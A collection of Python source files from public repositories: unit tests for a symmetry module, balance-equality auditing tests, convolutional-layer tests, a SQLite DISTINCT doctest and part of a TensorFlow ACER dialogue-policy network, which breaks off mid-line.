self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_20(self): from phenum.symmetry import _does_mapping_exist case = 20 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out)

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py

Python

gryphon/tests/logic/auditing/auditing_test.py

qiquanzhijia/gryphon

7bb2c646e638212bd1352feb1b5d21536a5b918d

[ "Apache-2.0" ]

1,109

2019-06-20T19:23:27.000Z

2022-03-20T14:03:43.000Z

gryphon/tests/logic/auditing/auditing_test.py

qiquanzhijia/gryphon

7bb2c646e638212bd1352feb1b5d21536a5b918d

[ "Apache-2.0" ]

63

2019-06-21T05:36:17.000Z

2021-05-26T21:08:15.000Z

gryphon/tests/logic/auditing/auditing_test.py

qiquanzhijia/gryphon

7bb2c646e638212bd1352feb1b5d21536a5b918d

[ "Apache-2.0" ]

181

2019-06-20T19:42:05.000Z

2022-03-21T13:05:13.000Z

""" Tests for gryphon.execution.auditing. """ import pyximport; pyximport.install() import gryphon.lib; gryphon.lib.prepare() import unittest import sure from gryphon.execution.lib import auditing from gryphon.lib.money import Money from gryphon.lib.models.exchange import Balance class TestAuditing(unittest.TestCase): def test_trivial(self): db_balance = Balance() ledger_balance = Balance() auditing.balance_equality(db_balance, ledger_balance).should.equal(True) def test_symmetric_equal(self): db_balance = Balance({'USD': Money('50', 'USD'), 'BTC': Money('0', 'BTC')}) ledger_balance = Balance({'USD': Money('50', 'USD'), 'BTC': Money('0', 'BTC')}) auditing.balance_equality(db_balance, ledger_balance).should.equal(True) def test_symmetric_not_equal(self): db_balance = Balance({'USD': Money('50', 'USD'), 'BTC': Money('0', 'BTC')}) ledger_balance = Balance({'USD': Money('51', 'USD'), 'BTC': Money('0', 'BTC')}) auditing.balance_equality(db_balance, ledger_balance).should.equal(False) def test_symmetric_very_not_equal(self): db_balance = Balance({'USD': Money('50', 'USD'), 'BTC': Money('0', 'BTC')}) ledger_balance = Balance({ 'USD': Money('-60', 'USD'), 'BTC': Money('100', 'BTC'), }) auditing.balance_equality(db_balance, ledger_balance).should.equal(False) def test_complex_symmetric_equal(self): db_balance = Balance({ 'USD': Money('50', 'USD'), 'CAD': Money('10000', 'CAD'), 'ETH': Money('0', 'ETH'), 'BTC': Money('0', 'BTC'), }) ledger_balance = Balance({ 'USD': Money('50', 'USD'), 'CAD': Money('10000', 'CAD'), 'ETH': Money('0', 'ETH'), 'BTC': Money('0', 'BTC'), }) auditing.balance_equality(db_balance, ledger_balance).should.equal(True) def test_complex_symmetric_not_equal(self): db_balance = Balance({ 'USD': Money('50', 'USD'), 'CAD': Money('10000', 'CAD'), 'ETH': Money('0', 'ETH'), 'BTC': Money('0', 'BTC'), }) ledger_balance = Balance({ 'USD': Money('50', 'USD'), 'CAD': Money('10000', 'CAD'), 'ETH': Money('-1000', 'ETH'), 'BTC': Money('-5000', 'BTC'), }) auditing.balance_equality(db_balance, ledger_balance).should.equal(False) def test_asymmetric_equal(self): db_balance = Balance({'USD': Money('50', 'USD'), 'BTC': Money('0', 'BTC')}) ledger_balance = Balance({'USD': Money('50', 'USD')}) auditing.balance_equality(db_balance, ledger_balance).should.equal(True) def test_asymmetric_not_equal(self): db_balance = Balance({'USD': Money('50', 'USD'), 'BTC': Money('0', 'BTC')}) ledger_balance = Balance({'USD': Money('51', 'USD')}) auditing.balance_equality(db_balance, ledger_balance).should.equal(False) def test_asymmetric_very_not_equal(self): db_balance = Balance({'USD': Money('50', 'USD'), 'BTC': Money('0', 'BTC')}) ledger_balance = Balance({'USD': Money('-10000', 'USD')}) auditing.balance_equality(db_balance, ledger_balance).should.equal(False) def test_complex_asymmetric_equal(self): db_balance = Balance({ 'USD': Money('50', 'USD'), 'CAD': Money('10000', 'CAD'), 'ETH': Money('0', 'ETH'), 'BTC': Money('0', 'BTC'), }) ledger_balance = Balance({ 'USD': Money('50', 'USD'), 'CAD': Money('10000', 'CAD'), }) auditing.balance_equality(db_balance, ledger_balance).should.equal(True) def test_complex_asymmetric_not_equal(self): db_balance = Balance({ 'USD': Money('50', 'USD'), 'CAD': Money('10000', 'CAD'), 'ETH': Money('0', 'ETH'), 'BTC': Money('0', 'BTC'), }) ledger_balance = Balance({ 'USD': Money('50', 'USD'), 'CAD': Money('-10000', 'CAD'), }) auditing.balance_equality(db_balance, ledger_balance).should.equal(False)

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11,647

py

Python

01_mysteries_of_neural_networks/06_numpy_convolutional_neural_net/tests/layers/unit_tests/test_convolutional.py

angliu-bu/ILearnDeepLearning.py

12819d6c32735a2d7277097e712adb04bd766081

[ "MIT" ]

1,093

2018-09-07T07:15:29.000Z

2022-03-09T16:40:42.000Z

01_mysteries_of_neural_networks/06_numpy_convolutional_neural_net/tests/layers/unit_tests/test_convolutional.py

angliu-bu/ILearnDeepLearning.py

12819d6c32735a2d7277097e712adb04bd766081

[ "MIT" ]

30

2018-09-20T02:41:40.000Z

2022-02-10T01:37:19.000Z

01_mysteries_of_neural_networks/06_numpy_convolutional_neural_net/tests/layers/unit_tests/test_convolutional.py

angliu-bu/ILearnDeepLearning.py

12819d6c32735a2d7277097e712adb04bd766081

[ "MIT" ]

456

2018-09-09T19:14:16.000Z

2022-03-18T16:34:53.000Z

import numpy as np import pytest from src.errors import InvalidPaddingModeError from src.layers.convolutional import ConvLayer2D, FastConvLayer2D, \ SuperFastConvLayer2D class TestConvLayer2D: def test_pad_symmetrical(self): # given array = np.random.rand(100, 28, 28, 3) pad = 3, 3 # when result = ConvLayer2D.pad(array=array, pad=pad) # then print(result.sum()) print(array.sum()) assert result.shape == (100, 34, 34, 3) assert abs(result.sum() - array.sum()) < 1e-8 def test_pad_asymmetrical(self): # given array = np.random.rand(100, 28, 28, 3) pad = 3, 5 # when result = ConvLayer2D.pad(array=array, pad=pad) # then print(result.sum()) print(array.sum()) assert result.shape == (100, 34, 38, 3) assert abs(result.sum() - array.sum()) < 1e-8 def test_calculate_pad_width_with_valid_padding(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) padding = 'valid' # when layer = ConvLayer2D(w=w, b=b, padding=padding) result = layer.calculate_pad_dims() # then assert result == (0, 0) def test_calculate_pad_width_with_same_padding_symmetrical(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) padding = 'same' # when layer = ConvLayer2D(w=w, b=b, padding=padding) result = layer.calculate_pad_dims() # then assert result == (2, 2) def test_calculate_pad_width_with_same_padding_asymmetrical(self): # given w = np.random.rand(5, 7, 3, 16) b = np.random.rand(16) padding = 'same' # when layer = ConvLayer2D(w=w, b=b, padding=padding) result = layer.calculate_pad_dims() # then assert result == (2, 3) def test_calculate_pad_width_with_invalid_padding_value(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) padding = 'lorem ipsum' # when layer = ConvLayer2D(w=w, b=b, padding=padding) with pytest.raises(InvalidPaddingModeError): _ = layer.calculate_pad_dims() def test_calculate_output_dims_with_same_padding_symmetrical(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) padding = 'same' # when layer = ConvLayer2D(w=w, b=b, padding=padding) result = layer.calculate_output_dims((32, 11, 11, 3)) # then assert result == (32, 11, 11, 16) def test_calculate_output_dims_with_same_padding_asymmetrical(self): # given w = np.random.rand(3, 5, 3, 16) b = np.random.rand(16) padding = 'same' # when layer = ConvLayer2D(w=w, b=b, padding=padding) result = layer.calculate_output_dims((32, 11, 11, 3)) # then assert result == (32, 11, 11, 16) def test_calculate_output_dims_with_valid_padding_symmetrical(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) padding = 'valid' # when layer = ConvLayer2D(w=w, b=b, padding=padding) result = layer.calculate_output_dims((32, 11, 11, 3)) # then assert result == (32, 7, 7, 16) def test_calculate_output_dims_with_valid_padding_asymmetrical(self): # given w = np.random.rand(3, 5, 3, 16) b = np.random.rand(16) padding = 'valid' # when layer = ConvLayer2D(w=w, b=b, padding=padding) result = layer.calculate_output_dims((32, 11, 11, 3)) # then assert result == (32, 9, 7, 16) def test_calculate_output_dims_with_invalid_padding_value(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) padding = 'lorem ipsum' # when layer = ConvLayer2D(w=w, b=b, padding=padding) with pytest.raises(InvalidPaddingModeError): _ = layer.calculate_output_dims((32, 11, 11, 3)) def test_forward_pass_with_same_padding(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) activation = np.random.rand(16, 11, 11, 3) padding = 'same' # when layer = ConvLayer2D(w=w, b=b, padding=padding) result = layer.forward_pass(activation, training=True) assert result.shape == (16, 11, 11, 16) expected_val = np.sum(w[:, :, :, 0] * activation[0, 0:5, 0:5, :]) + b[0] assert abs(expected_val - result[0, 2, 2, 0]) < 1e-8 def test_forward_pass_with_valid_padding(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) activation = np.random.rand(16, 11, 11, 3) padding = 'valid' # when layer = ConvLayer2D(w=w, b=b, padding=padding) result = layer.forward_pass(activation, training=True) assert result.shape == (16, 7, 7, 16) expected_val = np.sum(w[:, :, :, 0] * activation[0, 0:5, 0:5, :]) + b[0] assert abs(expected_val - result[0, 0, 0, 0]) < 1e-8 def test_forward_pass_with_invalid_padding_value(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) activation = np.random.rand(16, 11, 11, 3) padding = 'lorem ipsum' # when layer = ConvLayer2D(w=w, b=b, padding=padding) with pytest.raises(InvalidPaddingModeError): _ = layer.forward_pass(activation, training=True) def test_backward_pass_only_size_same_padding(self): # given activation = np.random.rand(64, 11, 11, 3) w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) layer = ConvLayer2D(w=w, b=b, padding='same') # when forward_result = layer.forward_pass(activation, training=True) backward_result = layer.backward_pass(forward_result) # then assert backward_result.shape == activation.shape def test_backward_pass_only_size_valid_padding(self): # given activation = np.random.rand(64, 11, 11, 3) w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) layer = ConvLayer2D(w=w, b=b, padding='valid') # when forward_result = layer.forward_pass(activation, training=True) backward_result = layer.backward_pass(forward_result) # then assert backward_result.shape == activation.shape class TestFastConvLayer2D: def test_forward_pass_with_same_padding(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) activation = np.random.rand(16, 11, 11, 3) padding = 'same' # when layer = FastConvLayer2D(w=w, b=b, padding=padding) result = layer.forward_pass(activation, training=True) assert result.shape == (16, 11, 11, 16) expected_val = np.sum(w[:, :, :, 0] * activation[0, 0:5, 0:5, :]) + b[0] assert abs(expected_val - result[0, 2, 2, 0]) < 1e-8 def test_forward_pass_with_valid_padding(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) activation = np.random.rand(16, 11, 11, 3) padding = 'valid' # when layer = FastConvLayer2D(w=w, b=b, padding=padding) result = layer.forward_pass(activation, training=True) assert result.shape == (16, 7, 7, 16) expected_val = np.sum(w[:, :, :, 0] * activation[0, 0:5, 0:5, :]) + b[0] assert abs(expected_val - result[0, 0, 0, 0]) < 1e-8 def test_forward_pass_with_invalid_padding_value(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) activation = np.random.rand(16, 11, 11, 3) padding = 'lorem ipsum' # when layer = FastConvLayer2D(w=w, b=b, padding=padding) with pytest.raises(InvalidPaddingModeError): _ = layer.forward_pass(activation, training=True) def test_backward_pass_only_size_same_padding(self): # given activation = np.random.rand(64, 11, 11, 3) w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) layer = FastConvLayer2D(w=w, b=b, padding='same') # when forward_result = layer.forward_pass(activation, training=True) backward_result = layer.backward_pass(forward_result) # then assert backward_result.shape == activation.shape def test_backward_pass_only_size_valid_padding(self): # given activation = np.random.rand(64, 11, 11, 3) w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) layer = FastConvLayer2D(w=w, b=b, padding='valid') # when forward_result = layer.forward_pass(activation, training=True) backward_result = layer.backward_pass(forward_result) # then assert backward_result.shape == activation.shape class TestSuperFastConvLayer2D: def test_forward_pass_with_same_padding(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) activation = np.random.rand(16, 11, 11, 3) padding = 'same' # when layer = SuperFastConvLayer2D(w=w, b=b, padding=padding) result = layer.forward_pass(activation, training=True) assert result.shape == (16, 11, 11, 16) expected_val = np.sum(w[:, :, :, 0] * activation[0, 0:5, 0:5, :]) + b[0] assert abs(expected_val - result[0, 2, 2, 0]) < 1e-8 def test_forward_pass_with_valid_padding(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) activation = np.random.rand(16, 11, 11, 3) padding = 'valid' # when layer = SuperFastConvLayer2D(w=w, b=b, padding=padding) result = layer.forward_pass(activation, training=True) assert result.shape == (16, 7, 7, 16) expected_val = np.sum(w[:, :, :, 0] * activation[0, 0:5, 0:5, :]) + b[0] assert abs(expected_val - result[0, 0, 0, 0]) < 1e-8 def test_forward_pass_with_invalid_padding_value(self): # given w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) activation = np.random.rand(16, 11, 11, 3) padding = 'lorem ipsum' # when layer = SuperFastConvLayer2D(w=w, b=b, padding=padding) with pytest.raises(InvalidPaddingModeError): _ = layer.forward_pass(activation, training=True) def test_backward_pass_only_size_same_padding(self): # given activation = np.random.rand(64, 11, 11, 3) w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) layer = SuperFastConvLayer2D(w=w, b=b, padding='same') # when forward_result = layer.forward_pass(activation, training=True) backward_result = layer.backward_pass(forward_result) # then assert backward_result.shape == activation.shape def test_backward_pass_only_size_valid_padding(self): # given activation = np.random.rand(64, 11, 11, 3) w = np.random.rand(5, 5, 3, 16) b = np.random.rand(16) layer = SuperFastConvLayer2D(w=w, b=b, padding='valid') # when forward_result = layer.forward_pass(activation, training=True) backward_result = layer.backward_pass(forward_result) # then assert backward_result.shape == activation.shape

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py

Python

chapter17/examples/removing_duplicates.py

YordanIH/Intro_to_CS_w_Python

eebbb8efd7ef0d07be9bc45b6b1e8f20737ce01a

[ "MIT" ]

null

chapter17/examples/removing_duplicates.py

YordanIH/Intro_to_CS_w_Python

eebbb8efd7ef0d07be9bc45b6b1e8f20737ce01a

[ "MIT" ]

null

chapter17/examples/removing_duplicates.py

YordanIH/Intro_to_CS_w_Python

eebbb8efd7ef0d07be9bc45b6b1e8f20737ce01a

[ "MIT" ]

null

>>> cur.execute('''SELECT PopByRegion.Region ... FROM PopByRegion INNER JOIN PopByCountry ... WHERE (PopByRegion.Region = PopByCountry.Region) ... AND ((PopByCountry.Population * 1.0) / PopByRegion.Population > 0.10)''') <sqlite3.Cursor object at 0x7fe3e818f7a0> >>> cur.fetchall() [('Eastern Asia',), ('North America',), ('North America',)] >>> cur.execute('''SELECT DISTINCT PopByRegion.Region ... FROM PopByRegion INNER JOIN PopByCountry... WHERE (PopByRegion.Region = PopByCountry.Region) ... AND ((PopByCountry.Population * 1.0) / PopByRegion.Population > 0.10)''') <sqlite3.Cursor object at 0x7fe3e818f7a0> >>> cur.fetchall() [('Eastern Asia',), ('North America',)]

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py

Python

policy/DRL/acer.py

Dagu9/Reinforcement-learning-SGD

eb4a2546d6c99917b33e8cc4c210709e7d4cc15e

[ "Apache-2.0" ]

2

2020-01-20T14:43:27.000Z

2021-04-29T12:21:05.000Z

policy/DRL/acer.py

gdialektakis/Statistical-Dialogue-Systems-with-Adversarial-AutoEncoders

cbfcc6e8afb0cde65b11f5206e00584031f4eaa6

[ "Apache-2.0" ]

null

policy/DRL/acer.py

gdialektakis/Statistical-Dialogue-Systems-with-Adversarial-AutoEncoders

cbfcc6e8afb0cde65b11f5206e00584031f4eaa6

[ "Apache-2.0" ]

null

############################################################################### # PyDial: Multi-domain Statistical Spoken Dialogue System Software ############################################################################### # # Copyright 2015 - 2019 # Cambridge University Engineering Department Dialogue Systems Group # # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ############################################################################### """ Implementation of ACER The algorithm is developed with Tensorflow Author: Gellert Weisz """ import tensorflow as tf import numpy as np import numpy as np import tensorflow as tf from random import choice from time import sleep from time import time import sys # todo remove later # =========================== # Actor Critic with Experience Replay # =========================== class ACERNetwork(object): def __init__(self, sess, state_dim, action_dim, learning_rate, delta, c, alpha, h1_size = 130, h2_size = 50, is_training = True, actfreq_loss=None): self.sess = sess self.s_dim = state_dim self.a_dim = action_dim self.learning_rate = learning_rate self.delta = delta self.c = c self.alpha = alpha self.h1_size = h1_size self.h2_size = h2_size self.is_training = is_training #Input and hidden layers self.inputs = tf.placeholder(tf.float32, [None, self.s_dim]) self.actions = tf.placeholder(tf.float32, [None, self.a_dim]) self.execMask = tf.placeholder(tf.float32, [None, self.a_dim]) #if actfreq_loss is not False: def construct_theta(): W_fc1 = tf.Variable(tf.truncated_normal([self.s_dim, self.h1_size], stddev=0.01)) b_fc1 = tf.Variable(0.0 * tf.ones([self.h1_size])) if self.h2_size > 0: # todo layer 2 should be shared between policy and q-function? W_h2 = tf.Variable(tf.truncated_normal([self.h1_size, self.h2_size], stddev=0.01)) b_h2 = tf.Variable(0.0 * tf.ones([self.h2_size])) W_q = tf.Variable(tf.truncated_normal([self.h2_size, self.a_dim], stddev=0.01)) b_q = tf.Variable(0.0 * tf.ones([self.a_dim])) W_policy = tf.Variable(tf.truncated_normal([self.h2_size, self.a_dim], stddev=0.01)) b_policy = tf.Variable(0.0 * tf.ones([self.a_dim])) theta = [W_fc1, b_fc1, W_h2, b_h2, W_q, b_q, W_policy, b_policy] else: W_q = tf.Variable(tf.truncated_normal([self.h1_size, self.a_dim], stddev=0.01)) b_q = tf.Variable(0.0 * tf.ones([self.a_dim])) W_policy = tf.Variable(tf.truncated_normal([self.h1_size, self.a_dim], stddev=0.01)) b_policy = tf.Variable(0.0 * tf.ones([self.a_dim])) theta = [W_fc1, b_fc1, W_q, b_q, W_policy, b_policy] return theta self.theta = construct_theta() self.avg_theta = construct_theta() def construct_network(theta): if self.h2_size > 0: W_fc1, b_fc1, W_h2, b_h2, W_q, b_q, W_policy, b_policy = theta else: W_fc1, b_fc1, W_q, b_q, W_policy, b_policy = theta h_fc1 = tf.nn.relu(tf.matmul(self.inputs, W_fc1) + b_fc1) if self.h2_size > 0: h_h2 = tf.nn.relu(tf.matmul(h_fc1, W_h2) + b_h2) # Q function q = tf.matmul(h_h2, W_q) + b_q # prevent problem when calling log(self.policy) policy = tf.nn.softmax(tf.matmul(h_h2, W_policy) + b_policy + self.execMask) + 0.00001 else: # 1 hidden layer # value function q = tf.matmul(h_fc1, W_q) + b_q # policy function policy = tf.nn.softmax(tf.matmul(h_fc1, W_policy) + b_policy + self.execMask) + 0.00001 return policy, q self.policy, self.q = construct_network(self.theta) self.avg_policy, _ = construct_network(self.avg_theta) self.avg_policy = tf.stop_gradient(self.avg_policy) # weighted average over q-values according to current policy gives the value of the state self.value = tf.reduce_sum(self.q * self.policy, 1) self.actions_onehot = self.actions self.responsible_outputs = tf.reduce_sum(self.policy * self.actions_onehot, [1]) self.responsible_q = tf.reduce_sum(self.q * self.actions_onehot, [1]) # IS weights self.mu = tf.placeholder(tf.float32, [None, self.a_dim]) self.responsible_mu = tf.reduce_sum(self.mu * self.actions_onehot, [1]) self.rho = self.responsible_outputs / self.responsible_mu self.rho_all = self.policy / self.mu self.rho_bar = tf.minimum(1., self.rho) self.rho_bar_c = tf.minimum(self.c, self.rho) self.q_ret = tf.placeholder(tf.float32, [None]) # step 1 from pawel self.advantages_qret = self.q_ret - self.value self.wrt_theta_step1 = -tf.reduce_sum(tf.log(self.responsible_outputs) * tf.stop_gradient(self.rho * self.advantages_qret)) # step 2 from pawel self.wrt_theta = tf.reduce_sum( tf.log(self.responsible_outputs) * tf.stop_gradient(self.rho_bar_c * self.advantages_qret) + tf.reduce_sum(tf.log(self.policy) * tf.stop_gradient(tf.maximum(0., 1. - self.c / self.rho_all) * self.policy * (self.q - tf.reshape(self.value, [-1, 1]))), [1])) self.wrt_theta_v = tf.reduce_sum(tf.square(self.q_ret - self.responsible_q)) self.entropy = -tf.reduce_sum(self.policy * tf.log(self.policy)) #self.loss = self.wrt_theta_v + self.wrt_theta - self.entropy * 0.01 self.target_v = tf.placeholder(tf.float32, [None]) self.advantages = tf.placeholder(tf.float32, [None]) self.advantage_qret_diff = tf.reduce_mean(tf.square(self.advantages - self. advantages_qret)) # DEBUG (A2C) #self.value_loss = 0.5 * tf.reduce_sum(tf.square(self.target_v - tf.reshape(self.value, [-1]))) # original a2c self.q_loss = 0.5 * self.wrt_theta_v self.policy_loss = -self.wrt_theta self.entropy = - tf.reduce_sum(self.policy * tf.log(self.policy)) self.loss = self.q_loss + self.policy_loss - 0.01 * self.entropy self.optimizer = tf.train.AdamOptimizer(self.learning_rate) self.optimize = self.optimizer.minimize(self.loss) # TRPO in theta-space use_trpo = True # can switch off TRPO here self.value_gradients = self.optimizer.compute_gradients(self.q_loss) self.entropy_gradients = self.optimizer.compute_gradients(-0.01 * self.entropy) self.g = self.optimizer.compute_gradients(-self.policy_loss) self.kl = tf.reduce_sum(tf.reduce_sum(self.avg_policy * tf.log(self.avg_policy / self.policy), [1])) # this is total KL divergence, per batch self.k = self.optimizer.compute_gradients(self.kl) self.g = [(grad, var) for grad, var in self.g if grad is not None] self.k = [(grad, var) for grad, var in self.k if grad is not None] assert len(self.g) == len(self.k) self.klprod = tf.reduce_sum([tf.reduce_sum(tf.reshape(k[0], [-1]) * tf.reshape(g[0], [-1])) for k, g in zip(self.k, self.g)]) self.klen = tf.reduce_sum([tf.reduce_sum(tf.reshape(k[0], [-1]) * tf.reshape(k[0], [-1])) for k, g in zip(self.k, self.g)]) self.trpo_scale = tf.maximum(0., (self.klprod - self.delta) / self.klen) self.final_gradients = [] for i in range(len(self.g)): if use_trpo: self.final_gradients.append((-(self.g[i][0] - self.trpo_scale * self.k[i][0]), self.g[i][1])) # negative because this is loss else: self.final_gradients.append((-self.g[i][0], self.g[i][1])) # negative because this is loss self.optimize = [self.optimizer.apply_gradients(self.final_gradients), self.optimizer.apply_gradients(self.entropy_gradients), self.optimizer.apply_gradients(self.value_gradients)] self.update_avg_theta = [avg_w.assign(self.alpha * avg_w + (1. - self.alpha) * w) for avg_w, w in zip(self.avg_theta, self.theta)] def getPolicy(self, inputs, execMask): return self.sess.run([self.policy], feed_dict={ self.inputs: inputs, self.execMask: execMask, }) def train(self, inputs, actions, execMask, rewards, unflattened_inputs, unflattened_rewards, gamma, mu, discounted_rewards, advantages): value, responsible_q, rho_bar, responsible_outputs = self.sess.run( [self.value, self.responsible_q, self.rho_bar, self.responsible_outputs], feed_dict={ self.inputs: inputs, self.actions: actions, self.execMask: execMask, self.mu: mu, }) q_rets, offset = [], 0 #print >> sys.stderr, rho_bar[0], value[0], responsible_q[0] for j in range(0, len(unflattened_inputs)): # todo implement retrace for lambda other than one q_ret, new_q_ret = [], 0 for i in range(len(unflattened_inputs[j])-1, -1, -1): new_q_ret = rewards[offset+i] + gamma * new_q_ret q_ret.append(new_q_ret) new_q_ret = rho_bar[offset+i] * (new_q_ret - responsible_q[offset+i]) + value[offset+i] #new_q_ret = value[offset+i] # debug q_ret = list(reversed(q_ret)) q_rets.append(q_ret) offset += len(unflattened_inputs[j]) q_ret_flat = np.concatenate(np.array(q_rets), axis=0).tolist() feed_dict = { self.inputs: inputs, self.actions: actions, self.execMask: execMask, self.mu: mu, self.q_ret: q_ret_flat, self.target_v: discounted_rewards, self.advantages: advantages, } trpo_scale, klprod, kl, diff, entropy, loss, optimize = self.sess.run([self.trpo_scale, self.klprod, self.kl, self.advantage_qret_diff, self.entropy, self.loss, self.optimize], feed_dict=feed_dict) update_avg_theta = self.sess.run([self.update_avg_theta], feed_dict=feed_dict) return loss, entropy, optimize def predict_policy(self, inputs, execMask): return self.sess.run(self.policy, feed_dict={ self.inputs: inputs, self.execMask: execMask, }) def predict_value(self, inputs, execMask): return self.sess.run(self.value, feed_dict={ self.inputs: inputs, self.execMask: execMask, }) def predict_action_value(self, inputs, execMask): return self.sess.run([self.policy, self.value], feed_dict={ self.inputs: inputs, self.execMask: execMask, }) def load_network(self, load_filename): self.saver = tf.train.Saver() if load_filename.split('.')[-3] != '0': try: self.saver.restore(self.sess, load_filename) print "Successfully loaded:", load_filename except: print "Could not find old network weights" else: print 'nothing loaded in first iteration' def save_network(self, save_filename): print 'Saving acer-network...' self.saver.save(self.sess, save_filename) class RNNACERNetwork(object): def __init__(self, sess, si_state_dim, sd_state_dim, action_dim, learning_rate, delta, c, alpha, h1_size = 130, h2_size = 50, is_training = True, sd_enc_size=25, si_enc_size=25, dropout_rate=0., tn='normal', slot='si'): self.sess = sess self.s_dim = si_state_dim + sd_state_dim self.a_dim = action_dim self.learning_rate = learning_rate self.delta = delta self.c = c self.alpha = alpha self.h1_size = h1_size self.h2_size = h2_size self.is_training = is_training self.sd_dim = sd_state_dim self.si_dim = si_state_dim self.sd_enc_size = sd_enc_size #Input and hidden layers self.inputs = tf.placeholder(tf.float32, [None, self.s_dim]) self.actions = tf.placeholder(tf.float32, [None, self.a_dim]) self.execMask = tf.placeholder(tf.float32, [None, self.a_dim]) keep_prob = 1 - dropout_rate sd_inputs, si_inputs = tf.split(self.inputs, [self.sd_dim, self.si_dim], 1) if slot == 'sd': sd_inputs = tf.reshape(sd_inputs, (tf.shape(sd_inputs)[0], 1, self.sd_dim)) # slots encoder with tf.variable_scope(tn): # try: lstm_cell = tf.nn.rnn_cell.GRUCell(self.sd_enc_size) if keep_prob < 1: lstm_cell = tf.nn.rnn_cell.DropoutWrapper(lstm_cell, output_keep_prob=keep_prob) hidden_state = lstm_cell.zero_state(tf.shape(sd_inputs)[0], tf.float32) _, h_sdfe = tf.nn.dynamic_rnn(lstm_cell, sd_inputs, initial_state=hidden_state) # except: # lstm_cell = tf.contrib.rnn.GRUCell(self.sd_enc_size) # hidden_state = lstm_cell.zero_state(tf.shape(sd_inputs)[0], tf.float32) # _, h_sdfe = tf.contrib.rnn.dynamic_rnn(lstm_cell, sd_inputs, initial_state=hidden_state) h1_inputs = tf.concat((si_inputs, h_sdfe), 1) else: '''W_sdfe = tf.Variable(tf.truncated_normal([self.sd_dim, sd_enc_size], stddev=0.01)) b_sdfe = tf.Variable(tf.zeros([sd_enc_size])) h_sdfe = tf.nn.relu(tf.matmul(sd_inputs, W_sdfe) + b_sdfe) if keep_prob < 1: h_sdfe = tf.nn.dropout(h_sdfe, keep_prob)''' h1_inputs = self.inputs def construct_theta(): W_fc1 = tf.Variable(tf.truncated_normal([self.s_dim, self.h1_size], stddev=0.01)) b_fc1 = tf.Variable(0.0 * tf.ones([self.h1_size])) if self.h2_size > 0: # todo layer 2 should be shared between policy and q-function? W_h2 = tf.Variable(tf.truncated_normal([self.h1_size, self.h2_size], stddev=0.01)) b_h2 = tf.Variable(0.0 * tf.ones([self.h2_size])) W_q = tf.Variable(tf.truncated_normal([self.h2_size, self.a_dim], stddev=0.01)) b_q = tf.Variable(0.0 * tf.ones([self.a_dim])) W_policy = tf.Variable(tf.truncated_normal([self.h2_size, self.a_dim], stddev=0.01)) b_policy = tf.Variable(0.0 * tf.ones([self.a_dim])) theta = [W_fc1, b_fc1, W_h2, b_h2, W_q, b_q, W_policy, b_policy] else: W_q = tf.Variable(tf.truncated_normal([self.h1_size, self.a_dim], stddev=0.01)) b_q = tf.Variable(0.0 * tf.ones([self.a_dim])) W_policy = tf.Variable(tf.truncated_normal([self.h1_size, self.a_dim], stddev=0.01)) b_policy = tf.Variable(0.0 * tf.ones([self.a_dim])) theta = [W_fc1, b_fc1, W_q, b_q, W_policy, b_policy] return theta self.theta = construct_theta() self.avg_theta = construct_theta() def construct_network(theta): if self.h2_size > 0: W_fc1, b_fc1, W_h2, b_h2, W_q, b_q, W_policy, b_policy = theta else: W_fc1, b_fc1, W_q, b_q, W_policy, b_policy = theta h_fc1 = tf.nn.relu(tf.matmul(h1_inputs, W_fc1) + b_fc1) if self.h2_size > 0: h_h2 = tf.nn.relu(tf.matmul(h_fc1, W_h2) + b_h2) # Q function q = tf.matmul(h_h2, W_q) + b_q # prevent problem when calling log(self.policy) policy = tf.nn.softmax(tf.matmul(h_h2, W_policy) + b_policy + self.execMask) + 0.00001 else: # 1 hidden layer # value function q = tf.matmul(h_fc1, W_q) + b_q # policy function policy = tf.nn.softmax(tf.matmul(h_fc1, W_policy) + b_policy + self.execMask) + 0.00001 return policy, q self.policy, self.q = construct_network(self.theta) self.avg_policy, _ = construct_network(self.avg_theta) self.avg_policy = tf.stop_gradient(self.avg_policy) # weighted average over q-values according to current policy gives the value of the state self.value = tf.reduce_sum(self.q * self.policy, 1) self.actions_onehot = self.actions self.responsible_outputs = tf.reduce_sum(self.policy * self.actions_onehot, [1]) self.responsible_q = tf.reduce_sum(self.q * self.actions_onehot, [1]) # IS weights self.mu = tf.placeholder(tf.float32, [None, self.a_dim]) self.responsible_mu = tf.reduce_sum(self.mu * self.actions_onehot, [1]) self.rho = self.responsible_outputs / self.responsible_mu self.rho_all = self.policy / self.mu self.rho_bar = 